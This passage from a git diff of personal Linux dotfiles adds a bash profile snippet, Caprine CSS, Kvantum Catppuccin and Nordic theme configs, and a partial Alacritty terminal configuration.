@@ +if [ -n "$PS1" ] +then + source ~/.bash_profile; +else + [ -r ~/.path ] && [ -f ~/.path ] && source ~/.path; +fi diff --git a/.config/CAPRINE_custom.css b/.config/CAPRINE_custom.css new file mode 100644 index 0000000..9541b7e --- /dev/null +++ b/.config/CAPRINE_custom.css @@ -0,0 +1,36 @@ +/* +This is the custom styles file where you can add anything you want. +The styles here will be injected into Caprine and will override default styles. +If you want to disable styles but keep the config, just comment the lines that you don't want to be used. + +Here are some dark mode color variables to get you started. +Edit them to change color scheme of Caprine. +Press Command/Ctrl+R in Caprine to see your changes. +*/ + +:root { + --base: #00000000; + --base-ninety: rgba(255, 255, 255, 0.9); + --base-seventy-five: rgba(255, 255, 255, 0.75); + --base-seventy: rgba(255, 255, 255, 0.7); + --base-fifty: rgba(255, 255, 255, 0.5); + --base-fourty: rgba(255, 255, 255, 0.4); + --base-thirty: rgba(255, 255, 255, 0.3); + --base-twenty: rgba(255, 255, 255, 0.2); + --base-five: rgba(255, 255, 255, 0.05); + --base-ten: rgba(255, 255, 255, 0.1); + --base-nine: rgba(255, 255, 255, 0); + --container-color: #32323200; + --container-dark-color: #1e1e1e00; + --list-header-color: #22222200; + --blue: #0084ff; + --selected-conversation-background: linear-gradient(hsla(209, 110%, 45%, 0.9), hsla(209, 110%, 42%, 0.9)); + --glasscord-win-blur: blurbehind; + --glasscord-linux-blur: true; + --glasscord-mac-vibrancy: fullscreen-ui; +} + +._7t0j { + display: none !important; + opacity: 0 !important; +} diff --git a/.config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.kvconfig b/.config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.kvconfig new file mode 100644 index 0000000..603b2ab --- /dev/null +++ b/.config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.kvconfig @@ -0,0 +1,466 @@ +[%General] +author=elkrien based on Arc Dark style +comment=Catppuccin-Macchiato-Red +spread_menuitems=true +left_tabs=true +mirror_doc_tabs=true +scroll_width=8 +attach_active_tab=true +composite=true +menu_shadow_depth=7 +tooltip_shadow_depth=0 +splitter_width=7 +check_size=16 +slider_width=4 +slider_handle_width=18 +slider_handle_length=18 +textless_progressbar=false +menubar_mouse_tracking=true +slim_toolbars=false +toolbutton_style=1 +x11drag=menubar_and_primary_toolbar +double_click=false +translucent_windows=false +blurring=false +popup_blurring=true +opaque=kaffeine,kmplayer,subtitlecomposer,kdenlive,vlc,smplayer,smplayer2,avidemux,avidemux2_qt4,avidemux3_qt4,avidemux3_qt5,kamoso,QtCreator,VirtualBox,trojita,dragon,digikam,qmplay2 +group_toolbar_buttons=false +vertical_spin_indicators=false +fill_rubberband=false +spread_progressbar=true +merge_menubar_with_toolbar=true +small_icon_size=16 +large_icon_size=32 +button_icon_size=16 +scroll_arrows=false +iconless_pushbutton=true +toolbar_icon_size=16 +combo_as_lineedit=true +button_contents_shift=false +groupbox_top_label=true +inline_spin_indicators=true +joined_inactive_tabs=false +layout_spacing=2 +submenu_overlap=0 +tooltip_delay=-1 +animate_states=false +transient_scrollbar=true +alt_mnemonic=true +combo_menu=true +layout_margin=4 +no_window_pattern=false +respect_DE=true +scroll_min_extent=36 +scrollable_menu=false +scrollbar_in_view=false +spin_button_width=16 +submenu_delay=250 +tree_branch_line=true +progressbar_thickness=8 +click_behavior=0 +contrast=1.00 +dialog_button_layout=0 +drag_from_buttons=false +hide_combo_checkboxes=false +intensity=1.00 +no_inactiveness=false +reduce_menu_opacity=0 +reduce_window_opacity=10 +saturation=1.00 +shadowless_popup=false +transient_groove=false +menu_blur_radius=0 +tooltip_blur_radius=0 + +[GeneralColors] +window.color=#24273A +base.color=#1E2030 +alt.base.color=#1E2030 +button.color=#363A4F +light.color=#494D64 +mid.light.color=#494D64 +dark.color=#1E2030 +mid.color=#1E2030 +highlight.color=#ED8796 +inactive.highlight.color=#ED8796 +text.color=#CAD3F5 +window.text.color=#CAD3F5 +button.text.color=#CAD3F5 +disabled.text.color=#5B6078 +tooltip.text.color=#CAD3F5 +highlight.text.color=#1E2030 +link.color=#F4DBD6 +link.visited.color=#8AADF4 + +[ItemView] +inherits=PanelButtonCommand +frame.element=itemview +interior.element=itemview +frame=true +interior=true +text.iconspacing=3 +text.toggle.color=#1E2030 + +[RadioButton] +inherits=PanelButtonCommand +frame=false +interior.element=radio + +[CheckBox] +inherits=PanelButtonCommand +frame=false +interior.element=checkbox + +[TreeExpander] +indicator.element=tree +indicator.size=8 + +[ToolTip] +frame.top=4 +frame.right=4 +frame.bottom=4 +frame.left=4 +frame=true + +[PanelButtonCommand] +inherits=PanelButtonCommand +interior.element=button +frame.element=button +text.normal.color=#CAD3F5 +text.focus.color=#CAD3F5 +text.press.color=#1E2030 +text.toggle.color=#1E2030 + +[PanelButtonTool] +inherits=PanelButtonCommand + +[DockTitle] +inherits=PanelButtonCommand +interior=false +frame=false +text.margin.top=5 +text.margin.bottom=5 +text.margin.left=5 +text.margin.right=5 +indicator.size=0 + +[Dock] +interior.element=toolbar +frame.element=toolbar +frame=true +interior=true + +[GroupBox] +inherits=PanelButtonCommand +interior.element=tabframe +interior=true +frame=false + +[Focus] +inherits=PanelButtonCommand +frame=true +frame.element=focus +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 +frame.patternsize=20 + +[GenericFrame] +inherits=PanelButtonCommand +frame.element=common +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 + +[Slider] +inherits=PanelButtonCommand +interior=true +frame.element=slider +interior.element=slider +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 +focusFrame=true + +[SliderCursor] +inherits=PanelButtonCommand +interior=true +interior.element=slidercursor +frame=false + +[LineEdit] +inherits=PanelButtonCommand +frame.element=lineedit +interior.element=lineedit + +[IndicatorSpinBox] +inherits=LineEdit +frame.element=lineedit +interior.element=lineedit +frame.top=0 +frame.bottom=2 +frame.left=2 +frame.right=2 +indicator.size=8 + +[DropDownButton] +inherits=PanelButtonCommand +frame.top=2 +frame.bottom=2 +frame.left=0 +frame.right=1 +indicator.size=8 + +[ToolboxTab] +inherits=PanelButtonCommand +frame.element=tabframe +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 + +[Tab] +inherits=PanelButtonCommand +interior.element=tab +frame.element=tab +frame.top=2 +frame.bottom=3 +frame.left=3 +frame.right=3 +indicator.size=10 +text.normal.color=#5B6078 +text.focus.color=#CAD3F5 +text.press.color=#CAD3F5 +text.toggle.color=#CAD3F5 +focusFrame=true + +[TabBarFrame] +inherits=GenericFrame +frame=true +frame.element=tabBarFrame +interior=false +frame.top=4 +frame.bottom=4 +frame.left=4 +frame.right=4 + +[TabFrame] +inherits=PanelButtonCommand +frame.element=tabframe +interior.element=tabframe + +[Dialog] +inherits=TabBarFrame +frame.element=tabframe +interior=false +frame=false +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 + +[HeaderSection] +inherits=PanelButtonCommand +interior.element=header +frame.element=header +frame.top=0 +frame.bottom=1 +frame.left=1 +frame.right=1 +frame.expansion=0 +text.normal.color=#CAD3F5 +text.focus.color=#ED8796 +text.press.color=#CAD3F5 +text.toggle.color=#CAD3F5 +indicator.element=harrow + +[SizeGrip] +inherits=PanelButtonCommand +frame=false +interior=false +indicator.element=resize-grip +indicator.size=0 + +[Toolbar] +inherits=PanelButtonCommand +interior.element=menubar +frame.element=menubar +frame=true +frame.bottom=4 +frame.left=4 +frame.right=4 +text.normal.color=#CAD3F5 +text.focus.color=#CAD3F5 +text.press.color=#ED8796 +text.toggle.color=#ED8796 +text.bold=false + +[MenuBar] +inherits=PanelButtonCommand +frame.element=menubar +interior.element=menubar +frame.bottom=0 +text.normal.color=#CAD3F5 +frame.expansion=0 +text.bold=false + +[ToolbarButton] +frame.element=tbutton +interior.element=tbutton +indicator.element=arrow +text.normal.color=#CAD3F5 +text.focus.color=#CAD3F5 +text.press.color=#1E2030 +text.toggle.color=#1E2030 +text.bold=false + +[Scrollbar] +inherits=PanelButtonCommand +indicator.size=0 +interior=false +frame=false + +[ScrollbarGroove] +inherits=PanelButtonCommand +interior=false +frame=false + +[ScrollbarSlider] +inherits=PanelButtonCommand +interior=false +frame.element=scrollbarslider +frame.top=4 +frame.bottom=4 +frame.left=4 +frame.right=4 + +[ProgressbarContents] +inherits=PanelButtonCommand +frame=true +frame.element=progress-pattern +interior.element=progress-pattern +frame.top=2 +frame.bottom=2 +frame.left=2 +frame.right=2 + +[Progressbar] +inherits=PanelButtonCommand +frame.element=progress +interior.element=progress +frame.top=2 +frame.bottom=2 +frame.left=2 +frame.right=2 +text.margin=0 +text.normal.color=#CAD3F5 +text.focus.color=#CAD3F5 +text.press.color=#1E2030 +text.toggle.color=#1E2030 +text.bold=false +frame.expansion=18 + +[RadioButton] +inherits=PanelButtonCommand + +[Menu] +frame.element=menu +interior.element=menu +inherits=PanelButtonCommand +text.press.color=#1E2030 +text.toggle.color=#1E2030 +text.bold=false +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 + +[MenuItem] +inherits=PanelButtonCommand +interior.element=menuitem +indicator.size=8 +text.focus.color=#CAD3F5 +text.press.color=#CAD3F5 + +[MenuBarItem] +inherits=PanelButtonCommand +interior.element=menubaritem +frame=false +text.margin.top=3 +text.margin.bottom=3 +text.margin.left=5 +text.margin.right=5 + +[StatusBar] +inherits=Toolbar +frame.element=toolbar +font.bold=true +text.normal.color=#CAD3F5 +frame=true +frame.top=0 +frame.bottom=0 + +[TitleBar] +inherits=PanelButtonCommand +frame=false +interior=false +text.margin.top=2 +text.margin.bottom=2 +text.margin.left=3 +text.margin.right=3 + +[ComboBox] +inherits=PanelButtonCommand +indicator.size=8 +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 +text.margin.top=1 +text.margin.bottom=1 +text.margin.left=3 +text.margin.right=3 +text.toggle.color=#CAD3F5 + +[ToolboxTab] +inherits=PanelButtonCommand +text.normal.color=#CAD3F5 +text.press.color=#CAD3F5 +text.focus.color=#CAD3F5 + +[Hacks] +transparent_dolphin_view=false +blur_konsole=true +transparent_ktitle_label=true +transparent_menutitle=true +respect_darkness=true +kcapacitybar_as_progressbar=true +force_size_grip=false +iconless_pushbutton=true +iconless_menu=false +disabled_icon_opacity=100 +lxqtmainmenu_iconsize=0 +normal_default_pushbutton=true +single_top_toolbar=false +tint_on_mouseover=0 +transparent_pcmanfm_sidepane=true +transparent_pcmanfm_view=false +blur_translucent=true +centered_forms=false +kinetic_scrolling=true +middle_click_scroll=false +no_selection_tint=false +noninteger_translucency=false +style_vertical_toolbars=false +blur_only_active_window=false + +[Window] +interior=true +interior.element=window +frame.top=0 +frame.bottom=0 +frame.left=0 +frame.right=0 diff --git a/.config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.svg b/.config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.svg new file mode 100644 index 0000000..1ed38fc --- /dev/null +++ b/.config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.svg @@ -0,0 +1,1958 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/.config/Kvantum/Nordic-Darker-Solid#/Nordic-Darker-Solid#.kvconfig b/.config/Kvantum/Nordic-Darker-Solid#/Nordic-Darker-Solid#.kvconfig new file mode 100644 index 0000000..ad143b3 --- /dev/null +++ b/.config/Kvantum/Nordic-Darker-Solid#/Nordic-Darker-Solid#.kvconfig @@ -0,0 +1,497 @@ +[%General] +author=Eliver Lara +comment=A dark theme created using the awesome Nord color pallete. +x11drag=menubar_and_primary_toolbar +alt_mnemonic=true +left_tabs=true +attach_active_tab=true +mirror_doc_tabs=true +group_toolbar_buttons=false +toolbar_item_spacing=1 +toolbar_interior_spacing=3 +spread_progressbar=true +composite=true +menu_shadow_depth=5 +menu_separator_height=6 +tooltip_shadow_depth=6 +splitter_width=4 +scroll_width=6 +scroll_arrows=false +scroll_min_extent=60 +slider_width=2 +slider_handle_width=18 +slider_handle_length=18 +center_toolbar_handle=true +check_size=14 +textless_progressbar=false +progressbar_thickness=2 +menubar_mouse_tracking=true +toolbutton_style=1 +double_click=false +translucent_windows=false +blurring=false +popup_blurring=true +vertical_spin_indicators=false +spin_button_width=32 +fill_rubberband=false +merge_menubar_with_toolbar=true +small_icon_size=16 +large_icon_size=32 +button_icon_size=16 +toolbar_icon_size=22 +combo_as_lineedit=true +animate_states=false +button_contents_shift=false +combo_menu=true +hide_combo_checkboxes=true +combo_focus_rect=true +groupbox_top_label=true +inline_spin_indicators=false +joined_inactive_tabs=false +layout_spacing=6 +layout_margin=9 +scrollbar_in_view=true +transient_scrollbar=true +transient_groove=false +submenu_overlap=0 +tooltip_delay=-1 +tree_branch_line=true +dark_titlebar=true +opaque=QMPlay2,kaffeine,kmplayer,subtitlecomposer,kdenlive,vlc,avidemux,avidemux2_qt4,avidemux3_qt4,avidemux3_qt5,kamoso,QtCreator,VirtualBox,trojita,dragon,digikam +reduce_window_opacity=18 +scrollable_menu=false +submenu_delay=250 +no_inactiveness=false +no_window_pattern=false +reduce_menu_opacity=0 +respect_DE=true +contrast=1.00 +dialog_button_layout=0 +intensity=1.00 +saturation=1.00 +click_behavior=0 +shadowless_popup=false +drag_from_buttons=false + +[GeneralColors] +window.color=#2e3440 +base.color=#2e3440 +alt.base.color=#2E353D78 +button.color=#3c4454 +light.color=#2e3440 +mid.light.color=#2e3440 +dark.color=#2e3440 +mid.color=#2e3440 +highlight.color=#4c566a +inactive.highlight.color=#4c566a +text.color=#d8dee9 +window.text.color=#d8dee9 +button.text.color=#d8dee9 +disabled.text.color=#d8dee978 +tooltip.text.color=#d8dee9 +highlight.text.color=#d8dee9 +link.color=#646464 +link.visited.color=#7f8c8d +progress.indicator.text.color=#d8dee9 + +[Hacks] +transparent_ktitle_label=true +transparent_dolphin_view=true +transparent_pcmanfm_sidepane=false +blur_translucent=true +transparent_menutitle=false +respect_darkness=true +kcapacitybar_as_progressbar=true +force_size_grip=true +iconless_pushbutton=false +iconless_menu=false +disabled_icon_opacity=70 +lxqtmainmenu_iconsize=22 +normal_default_pushbutton=true +single_top_toolbar=true +tint_on_mouseover=0 +transparent_pcmanfm_view=false +middle_click_scroll=false +no_selection_tint=false +opaque_colors=false +scroll_jump_workaround=false +kinetic_scrolling=true +centered_forms=false +noninteger_translucency=false + +[PanelButtonCommand] +frame=true +frame.element=button +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 +interior=true +interior.element=button +indicator.size=8 +text.normal.color=#d8dee9 +text.focus.color=#d8dee9 +text.press.color=#d8dee9 +text.toggle.color=#d8dee9 +text.shadow=0 +text.margin=1 +text.iconspacing=4 +indicator.element=arrow +text.margin.top=2 +text.margin.bottom=2 +text.margin.left=2 +text.margin.right=2 +min_width=+0.3font +min_height=+0.3font +frame.expansion=6 + +[PanelButtonTool] +inherits=PanelButtonCommand + +[Dock] +inherits=PanelButtonCommand +interior.element=dock +frame.element=dock +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 +text.normal.color=#d8dee9 + +[DockTitle] +inherits=PanelButtonCommand +frame=false +interior=false +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.bold=false + +[IndicatorSpinBox] +inherits=PanelButtonCommand +frame=true +interior=true +frame.left=1 +indicator.element=spin +indicator.size=10 +text.normal.color=#d8dee9 + +[RadioButton] +inherits=PanelButtonCommand +frame=false +interior.element=radio +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca + +[CheckBox] +inherits=PanelButtonCommand +frame=false +interior.element=checkbox +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca + +[Focus] +inherits=PanelButtonCommand +frame=true +frame.element=focus +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 +frame.patternsize=20 + +[GenericFrame] +inherits=PanelButtonCommand +frame=true +interior=false +frame.element=common +interior.element=common +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 + +[LineEdit] +inherits=PanelButtonCommand +frame.element=lineedit +interior.element=lineedit +text.margin.left=0 +text.margin.right=0 + +[DropDownButton] +inherits=PanelButtonCommand +indicator.element=arrow-down + +[IndicatorArrow] +indicator.element=arrow +indicator.size=8 + +[ToolboxTab] +inherits=PanelButtonCommand +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.press.color=#d2d2d4 + +[Tab] +inherits=PanelButtonCommand +interior.element=tab +text.margin.left=8 +text.margin.right=8 +text.margin.top=2 +text.margin.bottom=2 +frame.element=tab +indicator.element=tab +frame.top=4 +frame.bottom=4 +frame.left=4 +frame.right=4 +text.normal.color=#d8dee9 +text.focus.color=#d8dee9 +text.toggle.color=#d8dee9 +frame.expansion=0 + +[TabFrame] +inherits=PanelButtonCommand +frame.element=tabframe +interior.element=tabframe +frame.top=4 +frame.bottom=4 +frame.left=4 +frame.right=4 + +[TreeExpander] +inherits=PanelButtonCommand +indicator.size=12 +indicator.element=tree + +[HeaderSection] +inherits=PanelButtonCommand +interior.element=header +frame.element=header +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 +text.bold=false +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.press.color=#d2d2d4 +text.toggle.color=#d2d2d4 +frame.expansion=0 + +[SizeGrip] +indicator.element=resize-grip + +[Toolbar] +inherits=PanelButtonCommand +indicator.element=toolbar +indicator.size=5 +text.margin=0 +frame=true +interior.element=menubar +frame.element=menubar +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +frame.left=0 +frame.right=0 +frame.top=0 +frame.bottom=1 +frame.expansion=0 + +[Slider] +inherits=PanelButtonCommand +frame.element=slider +interior.element=slider +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 + +[SliderCursor] +inherits=PanelButtonCommand +frame=false +interior.element=slidercursor + +[Progressbar] +inherits=PanelButtonCommand +frame.element=progress +interior.element=progress +text.margin=0 +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.press.color=#d2d2d4 +text.toggle.color=#d8dee9 +text.bold=false +frame.expansion=8 + +[ProgressbarContents] +inherits=PanelButtonCommand +frame=true +frame.element=progress-pattern +interior.element=progress-pattern + +[ItemView] +inherits=PanelButtonCommand +text.margin=0 +frame.element=itemview +interior.element=itemview +frame.top=2 +frame.bottom=2 +frame.left=2 +frame.right=2 +text.margin.top=2 +text.margin.bottom=2 +text.margin.left=4 +text.margin.right=4 +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.press.color=#d8dee9 +text.toggle.color=#d8dee9 +min_width=+0.3font +min_height=+0.3font +frame.expansion=0 + +[Splitter] +indicator.size=48 + +[Scrollbar] +inherits=PanelButtonCommand +indicator.element=arrow +indicator.size=8 + +[ScrollbarSlider] +inherits=PanelButtonCommand +interior.element=scrollbarslider +interior=true +frame=false +frame.expansion=48 + +[ScrollbarGroove] +inherits=PanelButtonCommand +interior.element=scrollbargroove +interior=true +frame=false +frame.expansion=48 + +[MenuItem] +inherits=PanelButtonCommand +frame=true +frame.element=menuitem +interior.element=menuitem +indicator.element=menuitem +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.margin.top=1 +text.margin.bottom=1 +text.margin.left=4 +text.margin.right=4 +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 +text.bold=false +min_width=+0.3font +min_height=+0.3font +frame.expansion=0 + +[MenuBar] +inherits=PanelButtonCommand +frame.element=menubar +interior.element=menubar +text.normal.color=#d8dee9 +frame.bottom=0 +frame.expansion=0 + +[MenuBarItem] +inherits=PanelButtonCommand +interior=true +interior.element=menubaritem +frame.element=menubaritem +frame.top=2 +frame.bottom=2 +frame.left=2 +frame.right=2 +text.margin.left=4 +text.margin.right=4 +text.margin.top=0 +text.margin.bottom=0 +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +frame.expansion=0 + +[TitleBar] +inherits=PanelButtonCommand +frame=false +text.margin.top=2 +text.margin.bottom=2 +text.margin.left=2 +text.margin.right=2 +interior.element=titlebar +indicator.size=16 +indicator.element=mdi +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.bold=true +text.italic=false +frame.expansion=0 + +[ComboBox] +inherits=PanelButtonCommand +interior.element=combo +frame.element=combo +text.press.color=#d2d2d4 +indicator.element=carrow + +[Menu] +inherits=PanelButtonCommand +frame.top=1 +frame.bottom=1 +frame.left=1 +frame.right=1 +frame.element=menu +interior.element=menu +text.normal.color=#d8dee9 +text.shadow=false +frame.expansion=0 + +[GroupBox] +inherits=GenericFrame +frame=false +text.shadow=0 +text.margin=0 +text.normal.color=#d8dee9 +text.focus.color=#c8c8ca +text.bold=true +frame.expansion=0 + +[TabBarFrame] +inherits=GenericFrame +frame=true +frame.element=tabBarFrame +interior=false +frame.top=4 +frame.bottom=4 +frame.left=4 +frame.right=4 + +[ToolTip] +inherits=GenericFrame +frame.top=3 +frame.bottom=3 +frame.left=3 +frame.right=3 +interior=true +text.shadow=0 +text.margin=0 +interior.element=tooltip +frame.element=tooltip +frame.expansion=0 + +[StatusBar] +inherits=GenericFrame +frame=false +interior=false +interior=false + +[Window] +interior=true +interior.element=window diff --git a/.config/Kvantum/kvantum.kvconfig b/.config/Kvantum/kvantum.kvconfig new file mode 100644 index 0000000..f08b369 --- /dev/null +++ b/.config/Kvantum/kvantum.kvconfig @@ -0,0 +1,2 @@ +[General] +theme=Catppuccin-Macchiato-Red diff --git a/.config/alacritty/alacritty.yml b/.config/alacritty/alacritty.yml new file mode 100644 index 0000000..45e5101 --- /dev/null +++ b/.config/alacritty/alacritty.yml @@ -0,0 +1,220 @@ +#import: + #- ~/.config/alacritty/colors.yml +import: + # uncomment the flavour you want below: +# - ~/.config/alacritty/catppuccin/catppuccin-mocha.yml + - ~/.config/alacritty/catppuccin/catppuccin-macchiato.yml +# - ~/.config/alacritty/catppuccin/catppuccin-frappe.yml +# - ~/.config/alacritty/catppuccin/catppuccin-latte.yml +scrolling: + history: 100000 + +env: + TERM: alacritty + WINIT_X11_SCALE_FACTOR: '1.0' +window: + decorations: none + dynamic_title: true + opacity: 0.1 +font: + # Normal (roman) font face + normal: + # Font family + # + # Default: + # - (macOS) Menlo + # - (Linux/BSD) monospace + # - (Windows) Consolas + family: Noto Color Emoji + family: SauceCodePro NFM + + # The `style` can be specified to pick a specific face. + #style: Regular + + # Bold font face + #bold: + # Font family + # + # If the bold family is not specified, it will fall back to the + # value specified for the normal font. + #family: monospace + + # The `style` can be specified to pick a specific face. + #style: Bold + + # Italic font face + #italic: + # Font family + # + # If the italic family is not specified, it will fall back to the + # value specified for the normal font. + #family: monospace + + # The `style` can be specified to pick a specific face. + #style: Italic + + # Bold italic font face + #bold_italic: + # Font family + # + # If the bold italic family is not specified, it will fall back to the + # value specified for the normal font. + #family: monospace + + # The `style` can be specified to pick a specific face. + #style: Bold Italic + + # Point size + size: 10.0 + + # Offset is the extra space around each character. `offset.y` can be thought + # of as modifying the line spacing, and `offset.x` as modifying the letter + # spacing. + #offset: + # x: 0 + # y: 0 + + # Glyph offset determines the locations of the glyphs within their cells with + # the default being at the bottom. Increasing `x` moves the glyph to the + # right, increasing `y` moves the glyph upward. + #glyph_offset: + # x: 0 + # y: 0 +# Bell +# +# The bell is rung every time the BEL control character is received. +bell: + # Visual Bell Animation + # + # Animation effect for flashing the screen when the visual bell is rung. + # + # Values for `animation`: + # - Ease + # - EaseOut + # - EaseOutSine + # - EaseOutQuad + # - EaseOutCubic + # - EaseOutQuart + # - EaseOutQuint + # - EaseOutExpo + # - EaseOutCirc + # - Linear + animation: EaseOutExpo + + # Duration of the visual bell flash in milliseconds. A `duration` of `0` will + # disable the visual bell animation. + duration: 250 + + # Visual bell animation color. + color: '#FF0000' #'#4C566A' + +hints: + # URL launcher + # + # This program is executed when clicking on a text which is recognized as a + # URL. The URL is always added to the command as the last parameter. + # + # When set to `launcher: None`, URL launching will be disabled completely. + # + # Default: + # - (macOS) open + # - (Linux/BSD) xdg-open + # - (Windows) explorer + enabled: + - regex: "(ipfs:|ipns:|magnet:|mailto:|gemini:|gopher:|https:|http:|news:|file:|git:|ssh:|ftp:)[^\u0000-\u001F\u007F-\u009F<>\"\\s{-}\\^⟨⟩`]+" + command: xdg-open + post_processing: true + mouse: + enabled: true + mods: None + binding: + key: U + mods: Control|Shift + # launcher: + # program: xdg-open + #args: [] +#key_bindings: + #- { key: Paste, action: Paste } + #- { key: Copy, action: Copy } + #- { key: L, mods: Control, action: ClearLogNotice } + #- { key: L, mods: Control, mode: ~Vi|~Search, chars: "\x0c" } + #- { key: PageUp, mods: Shift, mode: ~Alt, action: ScrollPageUp, } + #- { key: PageDown, mods: Shift, mode: ~Alt, action: ScrollPageDown } + #- { key: Home, mods: Shift, mode: ~Alt, action: ScrollToTop, } + #- { key: End, mods: Shift, mode: ~Alt, action: ScrollToBottom } + + # Vi Mode + #- { key: Space, mods: Shift|Control, mode: Vi|~Search, action: ScrollToBottom } + #- { key: Space, mods: Shift|Control, mode: ~Search, action: ToggleViMode } + #- { key: Escape, mode: Vi|~Search, action: ClearSelection } + #- { key: I, mode: Vi|~Search, action: ScrollToBottom } + #- { key: I, mode: Vi|~Search, action: ToggleViMode } + #- { key: C, mods: Control, mode: Vi|~Search, action: ToggleViMode } + #- { key: Y, mods: Control, mode: Vi|~Search, action: ScrollLineUp } + #- { key: E, mods: Control, mode: Vi|~Search, action: ScrollLineDown } + #- { key: G, mode: Vi|~Search, action: ScrollToTop } + #- { key: G, mods: Shift, mode: Vi|~Search, action: ScrollToBottom } + #- { key: B, mods: Control, mode: Vi|~Search, action: ScrollPageUp } + #- { key: F, mods: Control, mode: Vi|~Search, action: ScrollPageDown } + #- { key: U, mods: Control, mode: Vi|~Search, action: ScrollHalfPageUp } + #- { key: D, mods: Control, mode: Vi|~Search, action: ScrollHalfPageDown } + #- { key: Y, mode: Vi|~Search, action: Copy } + #- { 